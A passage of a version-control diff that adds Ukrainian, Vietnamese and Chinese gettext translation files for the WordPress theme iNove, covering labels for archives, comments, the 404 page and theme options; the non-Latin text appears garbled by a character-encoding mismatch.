templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/uk.mo Binary file web/wp-content/themes/inove/languages/uk.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/uk.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/uk.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,570 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4 Uk\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 14:08+0900\n" +"PO-Revision-Date: 2009-08-07 14:08+0900\n" +"Last-Translator: mg12 \n" +"Language-Team: Pavonine.com.ua \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Ukrainian\n" +"X-Poedit-Country: UKRAINE\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - вÑÑ– публікації" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - вÑÑ– коментарі" + +#: 404.php:22 +msgid "Talker" +msgstr "МеÑеджер" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "ЛаÑкаво проÑимо до 404-Ñ— Ñторінки!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "Вітаємо ВаÑ!
    Ðевідомо Ñк Ви Ñюди потрапили, але такої Ñторінки, Ñка вам потрібна або таку Ñк Ви набрали в адреÑному Ñ€Ñдку нажаль не Ñ–Ñнує.

    Є такі варіанти виходу із Ñитуації:
    1) Перейти на головну Ñторінку.
    2) Перевірити адреÑу, Ñку Ви ввели.
    3) СкориÑтатиÑÑ Ð¿Ð¾ÑˆÑƒÐºÐ¾Ð¼.

    " + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr " " + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "ПовернутиÑÑ Ð½Ð° головну »" + +#: archive.php:10 +msgid "Search Results" +msgstr "Результати пошуку" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "Ключові Ñлова: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "Ðрхів" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Ðрхів Ð´Ð»Ñ ÐºÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ñ–Ñ— ‘%1$s’" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Публікації із теґом ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "Ðрхів за %1$s" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "F jS, Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "F, Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "Ðрхів автора" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "Ðрхів блоґу" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "Редагувати" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "Прокоментувати" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 коментар" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% коментарів" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "Далі..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "Вибачте, не знайдено нічого." + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "Свіжі публікації" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "Старі публікації" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "Ðапиши коментар" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "До коментарів" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "Введи пароль Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ³Ð»Ñду коментарів" + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "Коментарі" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "Трекбеки" + +#: comments.php:34 +msgid "Trackback" +msgstr "Трекбек" + +#: comments.php:58 +msgid "No comments yet." +msgstr "Ще немає коментарів." + +#: comments.php:72 +msgid "Comment pages" +msgstr "Сторінки коментарів" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s | %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "Ðемає ще трекбеків." + +#: comments.php:123 +msgid "Comments are closed." +msgstr "Коментувати не дозволено." + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Вам потрібно увійти, Ð´Ð»Ñ ÐºÐ¾Ð¼ÐµÐ½Ñ‚ÑƒÐ²Ð°Ð½Ð½Ñ" + +#: comments.php:150 +msgid "Logged in as" +msgstr "Ви уійшли Ñк" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "Вийти" + +#: comments.php:151 +msgid "Logout »" +msgstr "Вийти »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "ПовернутиÑÑ Ð½Ð°Ð·Ð°Ð´ %s." + +#: comments.php:158 +msgid "Change »" +msgstr "Змінити »" + +#: comments.php:159 +msgid "Close »" +msgstr "Закрити »" + +#: comments.php:166 +msgid "Name" +msgstr "Ім'Ñ" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(Обов'Ñзково)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "E-Mail (не публікуєтьÑÑ)" + +#: comments.php:174 +msgid "Website" +msgstr "Блоґ(Ñайт)" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "ПідпиÑатиÑÑ Ð½Ð° коментарі" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "ÐадіÑлати коментар" + +#: footer.php:17 +msgid "Top" +msgstr "Вгору" + +#: footer.php:27 +msgid "Copyright © " +msgstr "© " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "Тема від NeoEase. Правильний XHTML 1.1 та CSS 3." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "ÐÐ°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð²Ð¸Ð³Ð»Ñду" + +#: functions.php:194 +msgid "Search" +msgstr "Пошук" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "За допомогою ÑиÑтеми кориÑтувацького пошуку Google." + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +#, php-format +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Знайдіть name=\"cx\" у Search box code of Google Custom Search Engine, and type the value here.
    Ð”Ð»Ñ Ð¿Ñ€Ð¸ÐºÐ»Ð°Ð´Ñƒ: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "Стрічка меню" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "Показати Ñторінки в меню" + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "Показати категорії в меню" + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "Ðотатка" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML дозволено" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "Ð¦Ñ Ð½Ð¾Ñ‚Ð°Ñ‚ÐºÐ° буде показана зверху публікації або головної Ñторінки." + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "Хто бачитиме?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "ЗареєÑтовані кориÑтувачі" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "Коментатор" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "Відвідувачі" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "Вітрина" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "Це буде поазано зверху над Ñайдбаром." + +#: functions.php:329 +msgid "Title:" +msgstr "Заголовок:" + +#: functions.php:345 +msgid "Posts" +msgstr "" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "" + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "Показувати категорію в публікаціÑÑ…" + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "Показувати теґи в публікаціÑÑ…" + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:381 +msgid "Feed" +msgstr "Фіди" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:390 +msgid "Custom feed." +msgstr "Інші RSS-фіди." + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "Email feed." + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "Зберегти зміни" + +#: functions.php:567 +msgid "Reply" +msgstr "ВідповіÑти" + +#: functions.php:568 +msgid "Quote" +msgstr "Цитата" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "" + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "Редагувати поÑиланнÑ" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "ПідпиÑатиÑÑ Ð½Ð° цей блоґ" + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "Додати до" + +#: sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "Youdao" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "newsgator" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "Bloglines" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "iNezha" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "RSS2Email" + +#: sidebar.php:40 +msgid "Email feed" +msgstr "RSS2Email" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "Прейти на головну" + +#: single.php:7 +msgid "Home" +msgstr "Головна" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/vi_VN.mo Binary file web/wp-content/themes/inove/languages/vi_VN.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/vi_VN.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/vi_VN.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,570 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 14:08+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - tất cả bài viết." + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - tất cả bình luận" + +#: 404.php:22 +msgid "Talker" +msgstr "Ngưá»i nói" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "Chào mừng tá»›i trang lá»—i 404!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "Không tìm thấy ná»™i dung! Hãy kiểm tra lại đưá»ng link " + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "Bạn có thể ấn nút Quay Lại (Back) trên trình duyệt cá»§a bạn để quay lại trang trước hoặc click vào link phía dưới để trở lại trang chá»§." + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "Quay lại trang chá»§ »" + +#: archive.php:10 +msgid "Search Results" +msgstr "Kết quả tìm kiếm" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "Từ Khóa: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "Lưu Trữ" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Lưu trữ cá»§a Chuyên mục ‘%1$s’" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Từ khóa bài viết : ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "Lưu trữ cá»§a %1$s" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "F jS, Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "F, Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "Lưu trữ cá»§a Tác giả" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "Lưu Trữ Blog" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "Sá»­a" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "0 Bình luận" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 Bình luận" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% Bình luận" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "Äá»c tiếp..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "Xin lá»—i, không có bài viết nào phù hợp yêu cầu cá»§a bạn" + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "Bài viết má»›i hÆ¡n" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "Bài viết cÅ© hÆ¡n" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "Viết bình luận" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "Xem bình luận" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "Nhập mật khẩu để xem bình luận" + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "Bình luận" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "Trackbacks" + +#: comments.php:34 +msgid "Trackback" +msgstr "Trackback" + +#: comments.php:58 +msgid "No comments yet." +msgstr "Chưa có bình luận nào" + +#: comments.php:72 +msgid "Comment pages" +msgstr "Trang bình luận" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s trên %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "Chưa có trackbacks." + +#: comments.php:123 +msgid "Comments are closed." +msgstr "Äã khóa bình luận." + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Bạn phải Äăng nhập để viết bình luận." + +#: comments.php:150 +msgid "Logged in as" +msgstr "Äăng nhập là" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "Äăng xuất khá»i tài khoản này" + +#: comments.php:151 +msgid "Logout »" +msgstr "Thoát »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "Chào mừng %s." + +#: comments.php:158 +msgid "Change »" +msgstr "Thay đổi »" + +#: comments.php:159 +msgid "Close »" +msgstr "Äóng »" + +#: comments.php:166 +msgid "Name" +msgstr "Tên" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(yêu cầu)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "E-Mail (sẽ không công khai)" + +#: comments.php:174 +msgid "Website" +msgstr "Website" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "Nhận feed bình luận" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "Äăng bình luận" + +#: footer.php:17 +msgid "Top" +msgstr "Lên trên" + +#: footer.php:27 +msgid "Copyright © " +msgstr "Copyright © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "Giao diện bởi NeoEase.Kiểm tra XHTML 1.1và CSS 3." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "Cài đặt theme hiện tại" + +#: functions.php:194 +msgid "Search" +msgstr "Tìm kiếm" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "Sá»­ dụng Google tìm kiếm tùy chỉnh" + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +#, php-format +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Tìm name=\"cx\"ở Mã hộp tìm kiếm của Google Custom Search Engine, và nhập valuevào đây.
    For example: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "Thanh Menu" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "Hiển thị trang ở menu" + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "Hiển thị Chuyên mục ở menu" + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "Thông báo" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "Mã HTML bật" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "Thanh thông báo này sẽ nằm ở trên cùng cá»§a trang chá»§" + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "Ai có thể Xem?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "Ngưá»i dùng đã đăng ký" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "Ngưá»i đã bình luận" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "Ngưá»i xem" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "Trưng bày" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "Phần trưng bày này sẽ nằm ở trên cùng cá»§a thanh bên sidebar" + +#: functions.php:329 +msgid "Title:" +msgstr "Tiêu Ä‘á»:" + +#: functions.php:345 +msgid "Posts" +msgstr "Bài viết" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "Hiện tác giả ở bài viết" + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "Hiện chuyên mục ở bài viết" + +#: functions.php:357 +msgid "Show tags on posts." +msgstr " Hiện từ khóa ở bài viết" + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:381 +msgid "Feed" +msgstr "Feed" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:390 +msgid "Custom feed." +msgstr "Feed cá nhân" + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "Email feed." + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "Lưu thay đổi" + +#: functions.php:567 +msgid "Reply" +msgstr "Trả lá»i" + +#: functions.php:568 +msgid "Quote" +msgstr "Quote" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "Sá»­a đổi" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "Bình luận cá»§a bạn Ä‘ang được chá» xét duyệt" + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "Sá»­a link" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "Nhận tin từ blog này" + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "Subscribe vào" + +#: sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "Youdao" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "newsgator" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "Bloglines" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "iNezha" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "Äăng ký nhận tin qua email..." + +#: sidebar.php:40 +msgid "Email feed" +msgstr "Email feed" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "Äến trang chính" + +#: single.php:7 +msgid "Home" +msgstr "Trang Chá»§" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/zh_CN.mo Binary file web/wp-content/themes/inove/languages/zh_CN.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/zh_CN.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/zh_CN.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,575 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 14:08+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - 所有文章" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - 所有评论" + +#: 404.php:22 +msgid "Talker" +msgstr "咸湿佬" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "欢迎æ¥åˆ° 404 页é¢" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "欢迎您的到æ¥. 您会到达这个页é¢è¯æ˜Žæ‚¨åˆšåˆšç‚¹å‡»äº†å¤±æ•ˆçš„链接. 当然, 也å¯èƒ½æ˜¯æˆ‘们æžé”™äº†... ä½†ä¸Žå…¶å‘æ‚¨å±•示一个混乱的, 没有任何说明的 404 出错页é¢, 我们创建这个页é¢å¯ä»¥å‘您解释究竟出了些什么问题." + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "您现在å¯ä»¥ (a) 点击æµè§ˆå™¨ä¸Šçš„ \"返回\" 按钮并å°è¯•通过其他方å¼è¿›å…¥æˆ‘们的页é¢, 或者 (b) 点击下方的链接转跳到网站的首页." + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "回到åšå®¢é¦–页 »" + +#: archive.php:10 +msgid "Search Results" +msgstr "æœç´¢ç»“æžœ" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "关键字: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "存档" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "‘%1$s’ 分类的存档" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "文章标签 ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "%1$s 的存档" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "Yå¹´n月jæ—¥" + +#: archive.php:28 +msgid "F, Y" +msgstr "Yå¹´n月" + +#: archive.php:31 +msgid "Y" +msgstr "Yå¹´" + +#: archive.php:34 +msgid "Author Archive" +msgstr "作者存档" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "åšå®¢å­˜æ¡£" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "编辑" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "没有评论" + +#: 